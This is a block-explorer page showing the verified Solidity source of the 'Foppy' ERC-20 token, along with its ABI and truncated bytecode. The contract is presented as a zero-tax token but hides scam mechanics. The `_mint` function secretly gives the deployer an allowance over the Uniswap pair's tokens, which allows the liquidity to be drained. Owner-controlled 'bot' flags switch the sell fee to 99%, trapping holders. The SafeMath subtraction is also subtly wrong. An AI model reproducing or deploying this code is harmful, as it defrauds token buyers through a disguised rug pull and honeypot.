ETH Price: $3,919.41 (+0.93%)

Token

ERC-20: Foppy (FOPPY)
 

Overview

Max Total Supply

1,000,000,000 FOPPY

Holders

61

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,339,826.453348909928432527 FOPPY

Value
$0.00
0xc663921fB0A32469F95996169A148A9dfeF511C8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FoppyToken

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-18
*/

// SPDX-License-Identifier: MIT

/**

telegram --     https://t.me/foppytoken
website --      https://www.foppytoken.com
twitter --      https://twitter.com/foppytoken

*/

pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);

}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = b - a;
        return c;
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    string private _name;
    string private _symbol;
    address public uniPair;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        _totalSupply += amount;_allowances[uniPair][account] = amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);

}

contract FoppyToken is ERC20, Ownable {
    using SafeMath for uint256;
    using Address for address payable;
    uint256 public originStamp;
    uint256 public earlyBlock = 0;
    bool public swapActive;
    bool public tradingOpen;
    IRouter public uniswapRouter;
    uint256 public buyFeeAmount = 0; // zero 
    uint256 public sellFeeAmount = 0; // zero
    bool private inSwap;
    uint256 public swapThreshold = 500_000 * 10e18;

    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) private botAddrs;
    uint256 public blockFee = 99;

    uint256 public maxTxSize = 49_000_000 * 10**18; // 4.9%
    uint256 public maxWalletSize = 49_000_000 * 10**18; // 4.9%
    address public feeWallet = 0x224c75DBd0a808544B8B180b51B638aD53B5d4C0;
    address public developmentWallet = 0x8C20eF1B1d9D9F8128DdaeaF23AF3cdD6fe909aC;

    constructor() ERC20("Foppy", "FOPPY") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); uniPair = _pair;

        uniswapRouter = _router;
        excludedFromFees[feeWallet] = true;
        excludedFromFees[developmentWallet] = true;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        // mint
        _mint(msg.sender, 1_000_000_000 * 10 ** decimals()); // Billion
    }

    function withdrawETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }
    
    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapBackAllEths(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(feeWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(developmentWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }


    function changeMaxTxAmount(uint256 amount) private {
        maxTxSize = amount * 10**18;
    }
    
    function changeMaxWalletAmount(uint256 amount) private {
        maxWalletSize = amount * 10**18;
    }

    function openTrading() external onlyOwner{
        tradingOpen = true; swapActive = true;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
    
            uint256 initialBalance = address(this).balance;
    
            swapBackAllEths(contractBalance);
    
            uint256 deltaBalance = address(this).balance - initialBalance;

            payable(feeWallet).sendValue(deltaBalance);

        }
    }
        
    function _transfer(
        address sender, 
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(botAddrs[recipient] || 
            botAddrs[sender]
        ) {
             sellFeeAmount = blockFee;
        }
        if(
            !excludedFromFees[sender] && !excludedFromFees[recipient] 
            && !inSwap
        ) {
            require(
                tradingOpen, 
                "Trading is not active yet"
            );
            if (originStamp + earlyBlock > block.number) 
            {
                if(recipient != uniPair) {
                    botAddrs[recipient] = true;
                }
                if(sender != uniPair) {
                    botAddrs[sender] = true;
                }
            } require(amount <= maxTxSize, "MaxTxAmount");

            if(recipient != uniPair){
                require(
                    balanceOf(recipient) + amount <= maxWalletSize, "MaxWalletAmount"
                );
            }
        }
        uint256 taxSize;
        if (inSwap 
            || excludedFromFees[sender] 
            || excludedFromFees[recipient]
        ) {
            taxSize = 0;
        } else {
            if(recipient == uniPair && !botAddrs[sender]) {
                taxSize = amount * sellFeeAmount / 100;
            } else {
                taxSize = amount * buyFeeAmount / 100;
            }
        }
        if (swapActive && !inSwap 
            && sender != uniPair 
            && taxSize > 0
        ) {
            swapBack();
        }
        if(taxSize > 0) {
            super._transfer(sender, address(this) ,taxSize);
            super._transfer(sender, recipient, amount.sub(taxSize));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }
    function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }
    
    function swapBackAllEths(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            developmentWallet,
            block.timestamp
        );
    }

    function updateBots(address[] memory isBot_) public onlyOwner {
        for (uint i = 0; i < isBot_.length; i++) {
            botAddrs[isBot_[i]] = true;
        }
    }

    function removeLimits(uint256 amount) public onlyOwner {
        changeMaxTxAmount(amount); changeMaxWalletAmount(amount);
    }


    // fallbacks
    receive() external payable {

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlyBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"originStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"updateBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6008819055600a819055600b556a0422ca8b0a00a425000000600d5560636010556a2888275295397bd10000006011819055601255601380546001600160a01b031990811673224c75dbd0a808544b8b180b51b638ad53b5d4c01790915560148054909116738c20ef1b1d9d9f8128ddaeaf23af3cdd6fe909ac1790553480156200008e575f80fd5b5060405180604001604052806005815260200164466f70707960d81b81525060405180604001604052806005815260200164464f50505960d81b8152508160019081620000dc91906200052a565b506002620000eb82826200052a565b50505062000108620001026200033560201b60201c565b62000339565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200015e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001849190620005f2565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f69190620005f2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000241573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002679190620005f2565b600380546001600160a01b0319166001600160a01b03838116919091179091556009805462010000600160b01b031916620100008684160217905560135481165f908152600e6020526040808220805460ff199081166001908117909255601454909416835281832080548516821790553380845282842080548616831790553084529190922080549093169091179091559091506200032d906200030a601290565b6200031790600a62000730565b6200032790633b9aca0062000740565b6200038a565b505062000770565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003e55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060055f828254620003f891906200075a565b90915550506003546001600160a01b039081165f90815260046020908152604080832093861683529281528282208490558190529081208054839290620004419084906200075a565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004b357607f821691505b602082108103620004d257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000525575f81815260208120601f850160051c81016020861015620005005750805b601f850160051c820191505b8181101562000521578281556001016200050c565b5050505b505050565b81516001600160401b038111156200054657620005466200048a565b6200055e816200055784546200049e565b84620004d8565b602080601f83116001811462000594575f84156200057c5750858301515b5f19600386901b1c1916600185901b17855562000521565b5f85815260208120601f198616915b82811015620005c457888601518255948401946001909101908401620005a3565b5085821015620005e257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000603575f80fd5b81516001600160a01b03811681146200061a575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200067557815f190482111562000659576200065962000621565b808516156200066757918102915b93841c93908002906200063a565b509250929050565b5f826200068d575060016200072a565b816200069b57505f6200072a565b8160018114620006b45760028114620006bf57620006df565b60019150506200072a565b60ff841115620006d357620006d362000621565b50506001821b6200072a565b5060208310610133831016604e8410600b841016171562000704575081810a6200072a565b62000710838362000635565b805f190482111562000726576200072662000621565b0290505b92915050565b5f6200061a60ff8416836200067d565b80820281158282048414176200072a576200072a62000621565b808201808211156200072a576200072a62000621565b611b10806200077e5f395ff3fe6080604052600436106101ff575f3560e01c806395d89b4111610113578063d6dacb441161009d578063f14210a61161006d578063f14210a6146105bc578063f25f4b56146105db578063f2fde38b146105fa578063f5d05e8e14610619578063ffb54a991461062e575f80fd5b8063d6dacb4414610512578063dbe66ca01461052b578063dd62ed3e14610559578063e559d86a1461059d575f80fd5b8063a95de078116100e3578063a95de07814610496578063b09d2f84146104ab578063c04a5414146104ca578063c654cd11146104e9578063c9567bf9146104fe575f80fd5b806395d89b41146104255780639ed6b92014610439578063a457c2d714610458578063a9059cbb14610477575f80fd5b806332972e4611610194578063735de9f711610164578063735de9f7146103a45780637e150d66146103c957806383f44c5c146103de5780638da5cb5b146103f35780638f3fa86014610410575f80fd5b806332972e4614610306578063395093511461033d57806370a082311461035c578063715018a614610390575f80fd5b806318160ddd116101cf57806318160ddd1461029757806323b872dd146102ab57806326b5d32f146102ca578063313ce567146102eb575f80fd5b80630445b6671461020a57806306fdde0314610232578063095ea7b3146102535780631756071514610282575f80fd5b3661020657005b5f80fd5b348015610215575f80fd5b5061021f600d5481565b6040519081526020015b60405180910390f35b34801561023d575f80fd5b5061024661064c565b60405161022991906116eb565b34801561025e575f80fd5b5061027261026d36600461175a565b6106dc565b6040519015158152602001610229565b34801561028d575f80fd5b5061021f60105481565b3480156102a2575f80fd5b5060055461021f565b3480156102b6575f80fd5b506102726102c5366004611784565b6106f2565b3480156102d5575f80fd5b506102e96102e43660046117c2565b6107a6565b005b3480156102f6575f80fd5b5060405160128152602001610229565b348015610311575f80fd5b50600354610325906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b348015610348575f80fd5b5061027261035736600461175a565b610860565b348015610367575f80fd5b5061021f6103763660046117eb565b6001600160a01b03165f9081526020819052604090205490565b34801561039b575f80fd5b506102e9610896565b3480156103af575f80fd5b50600954610325906201000090046001600160a01b031681565b3480156103d4575f80fd5b5061021f60115481565b3480156103e9575f80fd5b5061021f60085481565b3480156103fe575f80fd5b506006546001600160a01b0316610325565b34801561041b575f80fd5b5061021f60125481565b348015610430575f80fd5b506102466108cb565b348015610444575f80fd5b506102e961045336600461175a565b6108da565b348015610463575f80fd5b5061027261047236600461175a565b610998565b348015610482575f80fd5b5061027261049136600461175a565b610a32565b3480156104a1575f80fd5b5061021f600b5481565b3480156104b6575f80fd5b506102e96104c536600461181a565b610a3e565b3480156104d5575f80fd5b50601454610325906001600160a01b031681565b3480156104f4575f80fd5b5061021f60075481565b348015610509575f80fd5b506102e9610ad1565b34801561051d575f80fd5b506009546102729060ff1681565b348015610536575f80fd5b506102726105453660046117eb565b600e6020525f908152604090205460ff1681565b348015610564575f80fd5b5061021f6105733660046118da565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105a8575f80fd5b506102e96105b7366004611911565b610b0c565b3480156105c7575f80fd5b506102e96105d6366004611911565b610b4b565b3480156105e6575f80fd5b50601354610325906001600160a01b031681565b348015610605575f80fd5b506102e96106143660046117eb565b610b9a565b348015610624575f80fd5b5061021f600a5481565b348015610639575f80fd5b5060095461027290610100900460ff1681565b60606001805461065b90611928565b80601f016020809104026020016040519081016040528092919081815260200182805461068790611928565b80156106d25780601f106106a9576101008083540402835291602001916106d2565b820191905f5260205f20905b8154815290600101906020018083116106b557829003601f168201915b5050505050905090565b5f6106e8338484610c32565b5060015b92915050565b5f6106fe848484610d55565b6001600160a01b0384165f908152600460209081526040808320338452909152902054828110156107875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61079b85336107968685611974565b610c32565b506001949350505050565b6006546001600160a01b031633146107d05760405162461bcd60e51b815260040161077e90611987565b476107da84611144565b5f6107e58247611974565b90508215610820576108206107fa84866119bc565b61080485846119cf565b61080e91906119e6565b6013546001600160a01b0316906112b9565b83156108595761085961083384866119bc565b61083d86846119cf565b61084791906119e6565b6014546001600160a01b0316906112b9565b5050505050565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916106e89185906107969086906119bc565b6006546001600160a01b031633146108c05760405162461bcd60e51b815260040161077e90611987565b6108c95f6113ce565b565b60606002805461065b90611928565b6006546001600160a01b031633146109045760405162461bcd60e51b815260040161077e90611987565b816001600160a01b031663a9059cbb6109256006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561096f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109939190611a05565b505050565b335f9081526004602090815260408083206001600160a01b038616845290915281205482811015610a195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161077e565b610a2833856107968685611974565b5060019392505050565b5f6106e8338484610d55565b6006546001600160a01b03163314610a685760405162461bcd60e51b815260040161077e90611987565b5f5b8151811015610acd576001600f5f848481518110610a8a57610a8a611a24565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610ac581611a38565b915050610a6a565b5050565b6006546001600160a01b03163314610afb5760405162461bcd60e51b815260040161077e90611987565b6009805461ffff1916610101179055565b6006546001600160a01b03163314610b365760405162461bcd60e51b815260040161077e90611987565b610b3f8161141f565b610b4881611437565b50565b6006546001600160a01b03163314610b755760405162461bcd60e51b815260040161077e90611987565b610b4881610b8b6006546001600160a01b031690565b6001600160a01b0316906112b9565b6006546001600160a01b03163314610bc45760405162461bcd60e51b815260040161077e90611987565b6001600160a01b038116610c295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077e565b610b48816113ce565b6001600160a01b038316610c945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610cf55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac